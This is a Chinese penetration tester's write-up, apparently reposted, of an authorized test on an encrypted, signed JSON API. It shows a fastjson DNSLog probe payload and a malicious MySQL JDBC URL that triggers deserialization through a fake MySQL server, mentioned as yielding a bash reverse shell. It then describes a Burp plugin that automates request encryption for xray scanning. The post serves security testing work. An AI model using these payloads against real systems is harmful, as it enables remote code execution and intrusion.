记某次接口加密测试

admin 2021年12月14日16:00:50评论117 views字数 2821阅读9分24秒阅读模式

原文作者:lz520520@深蓝攻防实验室 

原文地址:https://xz.aliyun.com/t/10604

0x00 前言

之前接到一个接口测试项目,就提供了一个demo源码和接口设计文档,文档里一共有15个接口。
记某次接口加密测试本来以为接口测试,只要把参数拼接上去测测就ok了(数据是json格式),但看到设计文档里说数据又得做签名又得做加密,这样测试就变得繁琐了,扫描器也扫不了。
没加密发送,返回会显示解密失败。

其实是有几种解决方案的,写一个代理服务器,经过的时候做数据加密处理啥的,另一个就是写个burp插件,做请求前的数据自动加密,这个其实用过chunked编码插件的就很容易理解。
在这里我打算选择后者,其实burp本身就是一个代理服务器,所以代理部分就不需要我们操心了,我们只需要解决数据处理部分。

0x01 fastjson利用

在干之前还是得先看看demo源码有啥,因为还不清楚具体的签名和加密的细节。
目标系统是基于java开发的,demo当然也是java了,项目是用mvn管理的,IDEA自带mvn,就重新编译打包一下,运行jar包运行的是一个spingboot应用,但demo里并没有提供接口,所以其实没啥用。
记某次接口加密测试记某次接口加密测试所以就翻翻其他文件,首先要看的就是pom.xml看下有哪些依赖包,提交的数据都是json的,其实也猜到一些,这里可以看到fastjson1.2.58,一个存在漏洞的版本,而目标如果一样的话,那就可以先获取高危一枚。
记某次接口加密测试虽然还没搞定加解密,先提交poc 尝试
{"@type":"java.net.Inet4Address","val":"123.3l6h3t.dnslog.cn"}
记某次接口加密测试目标成功解析
记某次接口加密测试然后上mysql connector payload。
github有一个项目也一键搭建一个faker mysql
https://github.com/fnmsd/MySQL_Fake_Server
让目标发送如下,会返回一个执行的序列化对象,从而让目标反序列化执行,构造的参数放在user字段。
mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
效果如下,解析客户端发送的user字段,这里调用cc10执行bash反弹。
记某次接口加密测试

0x02 burp插件设计

回头再看看其他源码,有个XXXCashTest.java,是用于客户端提交数据测试的,随便找到一个方法,commonApplyDto是接口参数的类,通过fastjson序列化成字符串,将字符串使用AES加密,作为data的参数值,使用RSA私钥签名作为sign的参数值,然后再提交。他这里是loadPemKey读取本地私钥文件。
记某次接口加密测试知道他怎么处理的插件就好些了,关于插件编写和调试流程我之前有写过一篇文章简单介绍了下,也可以参考先知上的一篇文章https://xz.aliyun.com/t/7065
chunked编码插件可实现手动编码和自动编码功能,就以他为模板改,先从github下载源码
https://github.com/c0ny1/chunked-coding-converter
根据原始菜单功能,找到encoding的动作事件
记某次接口加密测试里面会调用Transfer.encoding对请求数据处理
记某次接口加密测试这和burp代理事件调用的是同个方法,这样就可以一次性将手动和自动加密都搞定了。
记某次接口加密测试把demo的相关类放到插件项目里,然后调整如下,为了方便插件使用,我新增一个getPemKey()方法,将私钥写死,方便使用,然后生成新的body,需要注意的是参数值得手动做URL编码。
记某次接口加密测试最后有个头部的iter迭代搜索,如果匹配到content-type,那么就统一修改成x-www-form,
这个是为啥呢,是这样,因为要测试的接口较多,而且参数也比较多,我想使用xray来扫描,那么就得将原始数据包先经过xray,xray做解析,然后再发给burp做加密,最终发送。
流程图大致如下
记某次接口加密测试但有个问题,因为设计文档里说明提交使用application/x-www-form-urlencoded,所以在burpsuite1构造json数据提交给xray的时候,xray如果识别到是application/x-www-form-urlencoded,他不会当做json数据处理,只会当成普通表单数据,而json数据里没有等号,所以会把整个json当成key做URL编码,然后将payload作为value填充,大概如下,这种server肯定没法正常处理,正常来说应该对json里的参数值做fuzz的。 (这里Content-Type忽略,测试的时候手动改过)
记某次接口加密测试而只有当Content-Type: application/json时,才会正常解析,但这样提交到server就不能做正常处理,server端只认application/x-www-form-urlencoded,所以才在插件里做了这么一个转换。最终如下
记某次接口加密测试至此burp插件写完了,编译打包,然后在burpsuite2(其实是找了一台单独的server运行)加载
记某次接口加密测试自动编码配置,右键菜单,勾选proxy即可。
记某次接口加密测试记某次接口加密测试xray构造的数据包
记某次接口加密测试自动加密后的
记某次接口加密测试到此接口测试准备就绪,后续就是常规的web渗透阶段,愉快的在burpsuite1里构造测试数据包,并联动xray进行自动化测试。

0x03 总结

  1. fastjson的利用,poc通过dnslog来快速验证,fake mysql server的使用。

  2. 接口加密自动化burp插件的编写。

  3. burp1-xray-burp2联动来实现手动+自动化测试。

  4. Content-type字段的问题,xray解析json数据需要为application/json,而server需要为application/x-www-form-urlencoded


好书推荐

记某次接口加密测试


本书从网络攻防实战的角度,对Web漏洞扫描利用及防御进行全面系统的研究,由浅入深地介绍了在渗透过程中如何对Web漏洞进行扫描、利用分析及防御,以及在漏洞扫描及利用过程中需要了解和掌握的基础技术。全书共分10章,包括漏洞扫描必备基础知识、域名信息收集、端口扫描、指纹信息收集与目录扫描、Web漏洞扫描、Web常见漏洞分析与利用、密码扫描及暴力破解、手工代码审计利用与漏洞挖掘、自动化的漏洞挖掘和利用、Web漏洞扫描安全防御,基本涵盖了Web漏洞攻防技术体系的全部内容。书中还以一些典型漏洞进行扫描利用及实战,通过漏洞扫描利用来还原攻击过程,从而可以针对性地进行防御。


禁止非法,后果自负

欢迎关注公众号:web安全工具库

欢迎关注视频号:之乎者也吧

记某次接口加密测试


记某次接口加密测试

记某次接口加密测试

原文始发于微信公众号(web安全工具库):记某次接口加密测试

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月14日16:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记某次接口加密测试https://cn-sec.com/archives/675163.html

发表评论

匿名网友 填写信息